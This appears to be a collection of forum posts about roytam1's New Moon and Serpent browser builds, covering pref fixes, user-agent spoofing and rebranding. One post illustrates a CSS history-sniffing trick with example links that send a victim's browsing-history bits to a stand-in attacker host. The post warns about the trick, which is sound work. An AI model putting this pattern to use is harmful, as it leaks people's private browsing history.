Mathwiz

It won't be a problem for every release. It'll only be a problem if MCP someday changes the same files I changed, and even then, I think only if MCP changes the same lines of code (otherwise I think Github can easily merge MCP's changes with mine into the final source files). Pretty sure that's why @roytam1 wanted this done by a pull request in the first place. If MCP does happen to change those same lines of code someday, @roytam1 will need to decide which of the two conflicting prefs to use in the final build, but that shouldn't be hard and is a one-time decision anyway.

Thanks. I'll make the necessary fix and create another pull request, probably tonight. Tried that; surprisingly, it didn't work! Apparently these particular prefs override whatever is in that folder. (Same goes for SSUAOs BTW; any built-in SSUAOs override whatever is in browser/defaults/preferences, although that's not as critical, since the built-in SSUAOs are supposedly correct for the NM/Serpent version being used. Adding myuseragents.js to that folder still adds the SSUAOs that aren't built in.) Besides, we want to change the build so that everyone gets these changes, and the easiest way to do that (at least, the easiest way for me) was to fix the built-in prefs in the first place, rather than adding another file to the build to override them. I think you're talking about the channel-prefs.js file, which sets app.update.channel to "default" for @roytam1's builds (presumably sets it to "release" or "ESR" in official builds). Yes, if a .js in that folder worked (which, unfortunately, it doesn't), I could've added the prefs to that file instead, although the name "channel-prefs.js" would then be a bit misleading

Good advice; although that too let me down when I was troubleshooting.... If I went to about:profiles, created a new clean profile, and clicked "Launch profile in a new browser," it would indeed open a new browser window sans add-ons - but all the old profile's preferences were still in effect! To get a truly "clean" profile I have to instead click "set as default profile," then restart the browser (and then reverse the process when going back to "normal"). That silliness kept me from realizing it was a preference issue, until I tried your suggested SSUAOs and discovered it stlll didn't work

Yes, the mods are complete. Let me know if it causes any problems and you have to revert any of the changes. I did not modify the app.support.baseURL pref because I couldn't find that one. Serpent doesn't need that one changed anyway; only New Moon. If / when I find it, I'll create another pull request to fix that pref.

I was afraid this might happen: But I figured we'd at least have until July, when M$ Update goes away. I guess our only hope now is to try to satisfy the missing dependencies with something like Dibya's extended kernel....

I was going to run that experiment myself, in the hopes of finding a "universal" Github SSUAO to incorporate into myuseragents.js; thanks for doing that for me! But here's what I'm really wondering. If you use St 52 (or FF 52), and a FF 60.9 user agent, Github serves up code that is compatible with FF/St 52, and works. But if you use a FF 60.9 agent with St 55, it doesn't work; even though Github is seeing the same user agent, and thus presumably serving the same code, as with FF/St 52. Now I realize that St 55 was forked from FF 53, while St 52 was forked from FF 52 ESR, so there are bound to be differences in how javascript, CSS, etc. are handled. But the question I still have is, what kind of code works on FF 52, and on St 52, but doesn't work on St 55; and why? Sounds to me like there's a regression somewhere in either FF 53 or St 55, but my troubleshooting skills aren't up to the task of finding it. And although I can't test it myself, probably doesn't work on FF 53 either, although it might have been fixed again between the fork point and the release build of FF 53. Edit: Folks, I'm afraid further apologies on my part are necessary. It turns out that Github works just fine with both St 52 and St 55 (as well as FF 52, PM/NM 28, etc.) using a FF 60.9 user agent! This whole discussion has been a huge waste of time. Well, maybe not a complete waste of time, because I did learn something. The culprit, it turned out, wasn't the user agent, or differences between St 52 and St 55, after all: it was a couple of user prefs I'd set to true: dom.webcomponents.enabled and dom.webcomponents.customelements.enabled. I had only set those to improve the score on html5test.com, but it turns out that if either of those is set, Github won't work!

I agree; I never liked those "you've successfully upgraded" pages anyhow. I think simply blanking out the pref would prevent any such page from opening in the first place - not even a blank page. (Setting the pref to "about:blank" would presumably open a blank page, but that would be confusing.) I looked over the UXP source tree and think I found where that pref is stored, as well as a couple of others mentioned above. So I cloned the tree, made the changes, and created a "pull request" as @roytam1 requested; but please keep in mind I'm a total noob at Github, so even though this was just a few simple changes, I'm not sure I did it right

Great! I'll put that right into effect; I hate having to use two different browsers. I'd love to know why St 55 requires a different SSUAO than St 52, but as long as it works, that may just have to remain an unsolved mystery.

Well, I came back to say,I discovered it works fine in St 52 (spoofing FF 60.9 as usual), but not in St 55. St 55 always acts the way FF/St 52 act if you spoof to any other version; e.g., pressing the branch button just shows a thin horizontal line and won't list your branches. I'm really confused as to why, but anyway, I can use St 52 unless/until I find a workaround for St 55. Sorry to press the panic button prematurely.

Well, this is bad news: Github no longer works with FF 52, no matter what spoof I try. I even tried IE (no longer supported - says to update to Edge, which is a bit tough if you're on Win 7) and Chrome spoofs. Nothing worked. BTW, spoofing anything older than FF 60.0 results in the "old version" banner. 60.0 and up don't produce the banner, but no version, old or new, works.

Just updated the myuseragents.js on page 8: For the benefit of our Polish readers, this update adds the user agent @VistaLover discovered for the player.pl site.

That does seem to work. I update every 4h (which is almost certainly overkill), from 7:15 PM until 11:15 AM the next day, and don't see errors, but didn't really understand why until you mentioned that. (I just figured, if it ain't broke, don't fix it.) Apparently MSE tries to update itself 24h after each successful update, so updating more frequently than that stops its own unsuccessful update attempts. About the only time you might see an error is if you shut down for over 24h, so that it tries to update itself when you boot back up.

In my St 52 copy (dated 2019.04.19), app.support.baseURL still points to Mozilla! So it seems the default was only changed in PM/NM. We can still change it (in both versions), along with browser.feedback.URL in NM (app.feedback.baseURL in St), which is opened when the user clicks Help / Submit feedback and currently points to the PM forums in both browsers. And as suggested long ago, app.releaseNotesURL should point to http://rtfreesoft.blogspot.com/search/label/browser vs. the Palemoon.org release notes. That's only three prefs per browser, but would clean up the Help menu and reduce the number of unwelcome support requests going to the PM forums. I believe all these defaults are buried somewhere in <install dir>\browser\omni.ja. It might take a bit of searching to find & fix them all; an easier approach might be to override them by putting a new .js file in <install dir>\defaults\pref. Oops: Discovered a minor wrinkle with changing app.support.BaseURL: Help / Keyboard Shortcuts no longer works So it might be best to just revert to Mozilla for that pref. So the final prefs I ended up with are: app.feedback.baseURL;https://msfn.org/board/topic/177125-my-build-of-new-moon-temp-name-aka-pale-moon-fork-targetting-xp/?do=getNewComment app.releaseNotesURL;http://rtfreesoft.blogspot.com/search/label/browser app.support.baseURL;https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/ (change app.feedback.baseURL to browser.feedback.URL for NM)

I too once suggested changing the names of the .exe files, but it turns out that requires too many other changes; so I think now we're only talking about changing the names of the .7z files on @roytam1's page, some default prefs (so various links would point to Web pages controlled by @roytam1 vs. MCP), the displayed names, and the logos. The .exe file names would remain the same, and the other changes shouldn't affect add-on compatibility. It is a lot of work in total, though - as @Sampei.Nihira noted, there are several Help menu links to fix as well - and the work is probably best suited to a Web designer, which I am not. I've already suggested names (Titan; Apophis) and could probably even create logos, but not all the necessary Web pages based around them - at least not if you want them to look decent! The benefit to be gained depends on how likely Matt or MCP is to take drastic action (such as making PM/Basilisk closed-source, thus cutting us off from all future enhancements) next time they think @roytam1 is to blame for unwelcome New Moon/Serpent support requests. Rebranding won't end those unwelcome requests, but it would give @roytam1 a good defense against their likely future complaints.

I still have a copy of the 5/22 version that runs on XP. I'm uploading a copy here. I tried renaming the "hostlist.txt" file from the new version to "top100.txt," as used in the old version. Surprisingly, it wouldn't run with the new file! So I surmised the old version only allows 100 host names in "top100.txt," and split "hostlist.txt" into two files with 100 entries each. That worked. Whichever file is named "top100.txt" is used. You just have to run it, rename the "top100" files, and run it again. BTW, no alert on Amazon or Paypal with this version. (But I know alerts work with this version, from my earlier experiment with ProxHTTPSProxyMII.) Also, although you can't resize the window, you can sort by any column by clicking the header. qmc.7z

Thanks for the link, and good to hear Instagram is working for you again. Do you know the precise version from February that works (with the next version not working)? If so, we can study the change log and see if we can find the change that broke that site. Then we might be able to figure a workaround, or even revert the change. That's how we fixed another Instagram bug a few months ago.

Ironically, the problems you noted with the "unofficial.shtml" page are MCP's own doing. They own the www.palemoon.com Web site, and they programmed "unofficial" browser builds (i.e., New Moon) to open that page. They do have a disclaimer about support, but given how sensitive they seem to be about not calling unofficial builds "Pale Moon," it's amusing that their own Web page for unofficial builds commits that very same error. If Matt or anyone else hassles @roytam1 about "misrepresenting" his browser again, it might be worth pointing out that it's MCP's own "unofficial.shtml" page that's doing a good bit of the "misrepresenting." Since all "unofficial" builds are called New Moon, surely their Web page for those builds should call it New Moon as well, or at least use wording like "unofficial build of Pale Moon" vs. just plain "Pale Moon." FWIW, I do think @roytam1 should develop his own branding, but that has proven to be more easily said than done; we can't even come up with a browser name that everyone's OK with! ("New Moon" is just MCP's default name for unofficial Pale Moon builds.) Maybe @roytam1 should be a "dictator" on this question and just pick a name he likes. (Or maybe it's been New Moon for so long, he's grown to like the name "New Moon.")

Yes, this is what @VistaLover warned us about. The above/below applies to Serpent 52 as well as Basilisk: IOW, it's gonna be a while before MCP gets Widevine 4.10 working. Kinda irrelevant to XP users since St+Widevine doesn't work for us anyway, but anyone using Serpent 52 on Vista, Win 7, etc. won't be able to access any new streaming services (e.g., Amazon Prime) via Widevine until MCP gets this fixed. I believe if you were watching Amazon Prime on St 52 before May 30, your existing Widevine 4.9 license will continue to work. Also, Silverlight is unaffected, so you should still be able to watch streaming services that support Silverlight, such as Netflix, even on XP.

New openssl v1.1.1c for XP available! lib*_static.lib files are included now, so the .7z files for both versions are now about 5.6 MB each.

That's strange; I just re-downloaded it and now it's not working for me either. Did the file get changed in the last few days? It's not supposed to work that way. Should open a window, query the top 100 web sites, and the status of each should scroll up the window.

Well, at the end of the day, all I can do is let folks know a potential security exposure exists. I can't make anyone understand it, or take it seriously....

Weird; Instagram videos seem to be working OK for me with that version (2019.05.24 32-bit on windows XP SP3). Can you give us links to some of the exact videos that won't play? Instagram.com/stories/nick just leads to a profile page with many images & I have no idea which one to try. But perhaps there's an obscure problem with its built-in media player. You might try installing the Adobe Primetime player (as described in the following thread) and once that's done, set media.ffvpx.enabled in about:config to "false." (Also disable Flash if it's installed.) That's how I play videos.

The demo is designed just to show what's possible; it's not designed to actually steal your browsing history! So of course no request is sent back. IOW, the "moles" could've been 512 simple links, from ... <a href="http://mybadsite.com?user=victim1&historyBits=000" /> ... through ... <a href="http://mybadsite.com?user=victim1&historyBits=511" /> ... so when you click one, the server just collects your data and goes to the next page. And the demo runs fine with all of uBO's filters enabled. There's really nothing for uBO to block; that's what makes it potentially dangerous.

Calling all paranoid XPers: I just learned of a sneaky CSS hack that can be used to trick users into revealing their browsing history. And yes, the trick works in NM and Serpent. Check it out and discuss at my post: https://msfn.org/board/topic/178684-clever-hack-can-trick-web-surfers-into-revealing-their-browsing-history/ (Edit: for some reason I couldn't embed the link above; MSFN server kept saying "403 Forbidden".... )

Now, if you have a need to access your PC via Remote Desktop, that's another matter; you can't just block the port without losing that functionality. (Obvious example: Windows XP mode under Win 7 requires that port be open to work - but it's not accessible to the "outside" anyhow.) But I bet most users here at MSFN have already installed the fix for this vulnerability on all their PCs anyhow.